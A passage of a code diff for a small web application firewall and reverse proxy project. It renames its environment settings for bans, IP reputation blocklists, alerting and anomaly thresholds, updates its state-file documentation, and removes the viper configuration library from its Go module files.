within which breaking a limit again lengthens the next ban. A duration.
|
||||
- `SWW_WAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit;
|
||||
one that would be longer is permanent. A duration.
|
||||
- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
|
||||
of attack. A duration.
|
||||
- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
||||
- `SWW_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; one
|
||||
that would be longer is permanent. A duration.
|
||||
- `SWW_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
|
||||
attack. A duration.
|
||||
- `SWW_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
||||
covers: the prefix length of its netblock, from 0 to 32.
|
||||
|
||||
## Reputation
|
||||
|
||||
- `SWW_WAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
|
||||
- `SWW_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
|
||||
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
|
||||
without a user or a fragment. A URL listed twice is refused.
|
||||
- `SWW_WAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its
|
||||
last try before it is fetched again. A duration of `1h` or more.
|
||||
- `SWW_WAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or
|
||||
`log`.
|
||||
- `SWW_WAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
|
||||
- `SWW_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its last
|
||||
try before it is fetched again. A duration of `1h` or more.
|
||||
- `SWW_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
|
||||
- `SWW_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
|
||||
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
|
||||
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
|
||||
is refused, whatever its case or key.
|
||||
- `SWW_WAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones
|
||||
through, such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an
|
||||
optional port, 53 when none is given. Unset, the host's resolver is used.
|
||||
- `SWW_WAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
|
||||
- `SWW_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
|
||||
such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional
|
||||
port, 53 when none is given. Unset, the host's resolver is used.
|
||||
- `SWW_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
|
||||
control character in it is refused.
|
||||
- `SWW_WAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence
|
||||
score, from 0 to 100, that is a hit.
|
||||
- `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a
|
||||
day, a whole number above zero. AbuseIPDB's free accounts may make 1,000.
|
||||
- `SWW_WAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec
|
||||
engine you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL
|
||||
without a user or a fragment; its decision list is at `v1/decisions` under it.
|
||||
Set without the key, it is refused. So is a decision list URL that is also in
|
||||
`SWW_WAF_BLOCKLIST_URLS`, or that is `SWW_WAF_ASN_LIMIT_PERCENT_URL`.
|
||||
- `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
|
||||
- `SWW_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
|
||||
from 0 to 100, that is a hit.
|
||||
- `SWW_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, a
|
||||
whole number above zero. AbuseIPDB's free accounts may make 1,000.
|
||||
- `SWW_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
|
||||
you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a
|
||||
user or a fragment; its decision list is at `v1/decisions` under it. Set
|
||||
without the key, it is refused. So is a decision list URL that is also in
|
||||
`SWW_BLOCKLIST_URLS`, or that is `SWW_ASN_LIMIT_PERCENT_URL`.
|
||||
- `SWW_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
|
||||
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
|
||||
URL, it is refused.
|
||||
- `SWW_WAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
|
||||
- `SWW_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
|
||||
`log`, for DNS blocklist and AbuseIPDB hits.
|
||||
- `SWW_WAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
|
||||
- `SWW_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
|
||||
AbuseIPDB's score is used. A duration.
|
||||
- `SWW_WAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a
|
||||
check with AbuseIPDB may take. A duration.
|
||||
- `SWW_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a check
|
||||
with AbuseIPDB may take. A duration.
|
||||
|
||||
## Alerting
|
||||
|
||||
- `SWW_WAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each
|
||||
alert as a JSON object. An `http` or `https` URL without a user or a fragment.
|
||||
- `SWW_WAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post,
|
||||
such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and
|
||||
value. A value cannot hold a comma.
|
||||
- `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook
|
||||
that receives each alert as a message, checked as the webhook URL is.
|
||||
- `SWW_WAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each
|
||||
alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked
|
||||
as the webhook URL is.
|
||||
- `SWW_WAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
|
||||
- `SWW_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each alert
|
||||
as a JSON object. An `http` or `https` URL without a user or a fragment.
|
||||
- `SWW_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, such
|
||||
as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and value. A
|
||||
value cannot hold a comma.
|
||||
- `SWW_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook that
|
||||
receives each alert as a message, checked as the webhook URL is.
|
||||
- `SWW_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each alert,
|
||||
as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked as the
|
||||
webhook URL is.
|
||||
- `SWW_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
|
||||
character in it is refused.
|
||||
- `SWW_WAF_ALERT_EVENTS` (default
|
||||
- `SWW_ALERT_EVENTS` (default
|
||||
`ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`):
|
||||
the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
|
||||
but `summary`. Any other name is refused.
|
||||
- `SWW_WAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
|
||||
- `SWW_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
|
||||
repeats are held back. A duration or `off`.
|
||||
- `SWW_WAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour.
|
||||
A whole number above zero, or `off`.
|
||||
- `SWW_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
|
||||
whole number above zero, or `off`.
|
||||
|
||||
## Anomaly thresholds
|
||||
|
||||
Each scope has four thresholds: the most requests and the most body bytes
|
||||
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNT`
|
||||
names. Requests are counts, bytes are sizes. Each is `off` by default. The four
|
||||
counted in a minute and in an hour. The bytes are those `SWW_BYTES_COUNT` names.
|
||||
Requests are counts, bytes are sizes. Each is `off` by default. The four
|
||||
thresholds per client are:
|
||||
|
||||
- `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
|
||||
- `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
|
||||
- `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
|
||||
- `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR`.
|
||||
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
|
||||
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
|
||||
- `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
|
||||
- `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR`.
|
||||
|
||||
The other scopes' names have another prefix before the same four endings, such
|
||||
as `REQUESTS_PER_MINUTE`:
|
||||
|
||||
- `SWW_WAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the
|
||||
- `SWW_ANOMALY_NET_...`: per netblock around a client. Two settings give the
|
||||
netblock's length:
|
||||
- `SWW_WAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
|
||||
- `SWW_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
|
||||
client;
|
||||
- `SWW_WAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
|
||||
- `SWW_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
|
||||
client.
|
||||
- `SWW_WAF_ANOMALY_ASN_...`: per AS number.
|
||||
- `SWW_WAF_ANOMALY_TOTAL_...`: the whole service.
|
||||
- `SWW_WAF_WATCH_...`: each netblock in `SWW_WAF_WATCH_NETS`, as a whole.
|
||||
`SWW_WAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such
|
||||
as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
||||
- `SWW_ANOMALY_ASN_...`: per AS number.
|
||||
- `SWW_ANOMALY_TOTAL_...`: the whole service.
|
||||
- `SWW_WATCH_...`: each netblock in `SWW_WATCH_NETS`, as a whole.
|
||||
`SWW_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such as
|
||||
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
||||
name, or with a bad netblock, is refused. So is a name used twice.
|
||||
|
||||
## Settings given as files
|
||||
@@ -383,7 +378,7 @@ Then mount its directory into the container read-only, and name the file:
|
||||
docker run \
|
||||
-v /srv/app/tokens:/etc/sww/tokens:ro \
|
||||
-e SWW_COMMAND=discriminator \
|
||||
-e SWW_WAF_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
|
||||
-e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
|
||||
...
|
||||
```
|
||||
|
||||
@@ -407,52 +402,51 @@ A few limits are fixed rather than settings:
|
||||
|
||||
## `discriminator`'s answer and `rproxy`'s wait
|
||||
|
||||
`SWW_WAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source.
|
||||
Keep it well under `rproxy`'s `SWW_RPROXY_TIMEOUT_MS`, as the default is. No
|
||||
question waits for `SWW_WAF_REPUTATION_TIMEOUT`, since the DNS blocklists and
|
||||
AbuseIPDB are asked in the background (see "Answering in time" under
|
||||
"`discriminator`" in [`SPEC.md`](../SPEC.md)).
|
||||
`SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
|
||||
it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
|
||||
for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
|
||||
in the background (see "Answering in time" under "`discriminator`" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
|
||||
## `rproxy`
|
||||
|
||||
`sww rproxy` reads the settings below and no others. They are read once at
|
||||
start, and an invalid value stops the start. Any can be given as a file, as a
|
||||
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
|
||||
start, and an invalid value stops the start. None can be given as a file, since
|
||||
`rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what
|
||||
they do.
|
||||
|
||||
A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||
|
||||
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `discriminator`'s URL. An
|
||||
`http` or `https` URL with a host and an optional port, and nothing more.
|
||||
`rproxy` speaks HTTP/1.1 to it.
|
||||
- `SWW_RPROXY_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for
|
||||
- `SWRP_WAF_BACKEND` (required, no default): `discriminator`'s URL. An `http` or
|
||||
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
||||
speaks HTTP/1.1 to it.
|
||||
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for
|
||||
`discriminator`'s answer, to a question and to a report. A time; never `off`.
|
||||
- `SWW_RPROXY_DEFAULT_DISPOSITION` (default `allow`): what is done with a
|
||||
request when `discriminator` cannot be connected to, does not answer at all,
|
||||
or does not answer within `SWW_RPROXY_TIMEOUT_MS`. `allow` passes it to the
|
||||
app, and `deny` answers `503`. It does not apply to an answer `discriminator`
|
||||
gives, such as an error.
|
||||
- `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A
|
||||
size or `off`.
|
||||
- `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A
|
||||
size or `off`.
|
||||
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
|
||||
take to send its request line and headers. It then also bounds, from the end
|
||||
of the headers, the time until the app has been sent the whole request. A time
|
||||
or `off`.
|
||||
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
|
||||
take, from the end of the request to its last byte reaching the visitor. A
|
||||
time or `off`.
|
||||
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
|
||||
`:9000`.
|
||||
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
|
||||
`http` or `https` URL with a host and an optional port, and nothing more.
|
||||
- `SWW_RPROXY_TRUSTED_PROXIES` (default
|
||||
`10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`): the netblocks whose
|
||||
`X-Forwarded-For` is believed. Set but empty, it trusts nothing. A client
|
||||
outside these netblocks cannot claim another address. Where other containers
|
||||
reach `rproxy` directly, or visitors on a private network reach traefik, they
|
||||
can name another address in the header. Narrowing the setting to traefik's own
|
||||
network closes that gap.
|
||||
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
|
||||
`discriminator` cannot be connected to, does not answer at all, or does not
|
||||
answer within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny`
|
||||
answers `503`. It does not apply to an answer `discriminator` gives, such as
|
||||
an error.
|
||||
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
|
||||
`off`.
|
||||
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
|
||||
`off`.
|
||||
- `SWRP_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may take to
|
||||
send its request line and headers. It then also bounds, from the end of the
|
||||
headers, the time until the app has been sent the whole request. A time or
|
||||
`off`.
|
||||
- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
|
||||
from the end of the request to its last byte reaching the visitor. A time or
|
||||
`off`.
|
||||
- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
|
||||
- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
|
||||
`https` URL with a host and an optional port, and nothing more.
|
||||
- `SWRP_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`):
|
||||
the netblocks whose `X-Forwarded-For` is believed. Set but empty, it trusts
|
||||
nothing. A client outside these netblocks cannot claim another address. Where
|
||||
other containers reach `rproxy` directly, or visitors on a private network
|
||||
reach traefik, they can name another address in the header. Narrowing the
|
||||
setting to traefik's own network closes that gap.
|
||||
|
||||
## The image's command
|
||||
|
||||
@@ -464,14 +458,14 @@ check checks: `rproxy` or `discriminator` (see "Deployment" in
|
||||
|
||||
Nothing reads these names any more:
|
||||
|
||||
- `SWW_WAF_UPSTREAM_URL` is `SWW_RPROXY_UPSTREAM_URL`.
|
||||
- `SWW_WAF_TRUSTED_PROXIES` is `SWW_RPROXY_TRUSTED_PROXIES`.
|
||||
- `SWW_WAF_REQUEST_MAX_BYTES` is `SWW_RPROXY_MAX_REQUEST_SIZE`.
|
||||
- `SWW_WAF_RESPONSE_MAX_BYTES` is `SWW_RPROXY_MAX_RESPONSE_SIZE`.
|
||||
- `SWW_WAF_CLIENT_REQUEST_TIMEOUT` and `SWW_WAF_UPSTREAM_REQUEST_TIMEOUT` are
|
||||
`SWW_RPROXY_MAX_REQUEST_TIME_MS`, in milliseconds.
|
||||
- `SWW_WAF_CLIENT_RESPONSE_TIMEOUT` and `SWW_WAF_UPSTREAM_RESPONSE_TIMEOUT` are
|
||||
`SWW_RPROXY_MAX_RESPONSE_TIME_MS`, in milliseconds.
|
||||
- `SWW_WAF_CLIENT_IDLE_TIMEOUT` and `SWW_WAF_CLIENT_REQUEST_HEADER_MAX_BYTES`
|
||||
have no setting. `rproxy` closes a kept-open connection idle for 120 seconds,
|
||||
and takes a request line and headers of at most 32 KiB.
|
||||
- `SWW_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
|
||||
- `SWW_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
|
||||
- `SWW_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
|
||||
- `SWW_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
|
||||
- `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are
|
||||
`SWRP_MAX_REQUEST_TIME_MS`, in milliseconds.
|
||||
- `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are
|
||||
`SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds.
|
||||
- `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no
|
||||
setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
|
||||
takes a request line and headers of at most 32 KiB.
|
||||
+8
-8
@@ -1,13 +1,13 @@
|
||||
# State files
|
||||
|
||||
The five JSON files in `SWW_WAF_STATE_DIR`, and what each holds. "Persistent
|
||||
state" in [`SPEC.md`](../SPEC.md) says how they are written, read and edited.
|
||||
Each has a top-level `version` of 1.
|
||||
The five JSON files in `SWW_STATE_DIR`, and what each holds. "Persistent state"
|
||||
in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has
|
||||
a top-level `version` of 1.
|
||||
|
||||
## `bans.json`
|
||||
|
||||
Active and past bans: every ban an admin made, and up to `SWW_WAF_MAX_BANS` of
|
||||
those `discriminator` made. Per entry:
|
||||
Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
|
||||
`discriminator` made. Per entry:
|
||||
|
||||
- `netblock`, `start` and `expires` (`null` for a permanent ban);
|
||||
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
|
||||
@@ -94,10 +94,10 @@ GeoJS answers, one per line:
|
||||
## Sizes
|
||||
|
||||
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
||||
`SWW_WAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB
|
||||
of disk writes a day.
|
||||
`SWW_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
|
||||
disk writes a day.
|
||||
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
|
||||
the default `SWW_WAF_MAX_BANS`. Written every 15 minutes, a full file comes to
|
||||
the default `SWW_MAX_BANS`. Written every 15 minutes, a full file comes to
|
||||
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
|
||||
more.
|
||||
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
||||
|
||||
@@ -10,14 +10,12 @@ require (
|
||||
github.com/maxmind/mmdbwriter v1.2.0
|
||||
github.com/oschwald/maxminddb-golang/v2 v2.7.0
|
||||
github.com/prometheus/client_golang v1.24.1
|
||||
github.com/spf13/viper v1.21.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/beorn7/perks v1.0.1 // indirect
|
||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||
github.com/corazawaf/libinjection-go v0.3.4 // indirect
|
||||
github.com/go-viper/mapstructure/v2 v2.4.0 // indirect
|
||||
github.com/goccy/go-json v0.10.5 // indirect
|
||||
github.com/goccy/go-yaml v1.19.2 // indirect
|
||||
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
|
||||
@@ -27,22 +25,14 @@ require (
|
||||
github.com/kylelemons/godebug v1.1.0 // indirect
|
||||
github.com/magefile/mage v1.17.0 // indirect
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
|
||||
github.com/pelletier/go-toml/v2 v2.2.4 // indirect
|
||||
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
|
||||
github.com/prometheus/client_model v0.6.2 // indirect
|
||||
github.com/prometheus/common v0.70.1 // indirect
|
||||
github.com/prometheus/procfs v0.21.1 // indirect
|
||||
github.com/sagikazarmark/locafero v0.11.0 // indirect
|
||||
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 // indirect
|
||||
github.com/spf13/afero v1.15.0 // indirect
|
||||
github.com/spf13/cast v1.10.0 // indirect
|
||||
github.com/spf13/pflag v1.0.10 // indirect
|
||||
github.com/subosito/gotenv v1.6.0 // indirect
|
||||
github.com/tidwall/gjson v1.18.0 // indirect
|
||||
github.com/tidwall/match v1.1.1 // indirect
|
||||
github.com/tidwall/pretty v1.2.1 // indirect
|
||||
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
|
||||
go.yaml.in/yaml/v3 v3.0.5 // indirect
|
||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
|
||||
golang.org/x/net v0.60.0 // indirect
|
||||
golang.org/x/sync v0.23.0 // indirect
|
||||
|
||||
@@ -14,12 +14,8 @@ github.com/corazawaf/libinjection-go v0.3.4 h1:jX2Tit2xZxYJJyVryNXucYBZtQqS7473x
|
||||
github.com/corazawaf/libinjection-go v0.3.4/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
|
||||
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
|
||||
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
|
||||
github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=
|
||||
github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
|
||||
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
|
||||
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
|
||||
github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs=
|
||||
github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
|
||||
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
|
||||
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
|
||||
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
|
||||
@@ -40,10 +36,6 @@ github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPs
|
||||
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
|
||||
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
|
||||
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
|
||||
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
|
||||
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
|
||||
@@ -68,24 +60,8 @@ github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi
|
||||
github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc=
|
||||
github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI=
|
||||
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
|
||||
github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
|
||||
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
|
||||
github.com/sagikazarmark/locafero v0.11.0 h1:1iurJgmM9G3PA/I+wWYIOw/5SyBtxapeHDcg+AAIFXc=
|
||||
github.com/sagikazarmark/locafero v0.11.0/go.mod h1:nVIGvgyzw595SUSUE6tvCp3YYTeHs15MvlmU87WwIik=
|
||||
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 h1:+jumHNA0Wrelhe64i8F6HNlS8pkoyMv5sreGx2Ry5Rw=
|
||||
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8/go.mod h1:3n1Cwaq1E1/1lhQhtRK2ts/ZwZEhjcQeJQ1RuC6Q/8U=
|
||||
github.com/spf13/afero v1.15.0 h1:b/YBCLWAJdFWJTN9cLhiXXcD7mzKn9Dm86dNnfyQw1I=
|
||||
github.com/spf13/afero v1.15.0/go.mod h1:NC2ByUVxtQs4b3sIUphxK0NioZnmxgyCrfzeuq8lxMg=
|
||||
github.com/spf13/cast v1.10.0 h1:h2x0u2shc1QuLHfxi+cTJvs30+ZAHOGRic8uyGTDWxY=
|
||||
github.com/spf13/cast v1.10.0/go.mod h1:jNfB8QC9IA6ZuY2ZjDp0KtFO2LZZlg4S/7bzP6qqeHo=
|
||||
github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
|
||||
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU=
|
||||
github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY=
|
||||
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
|
||||
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
|
||||
github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
|
||||
github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
|
||||
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
|
||||
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
|
||||
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
|
||||
|
||||
+30
-30
@@ -1,12 +1,12 @@
|
||||
// Package alerts sends alerts on bans, on traffic over an anomaly
|
||||
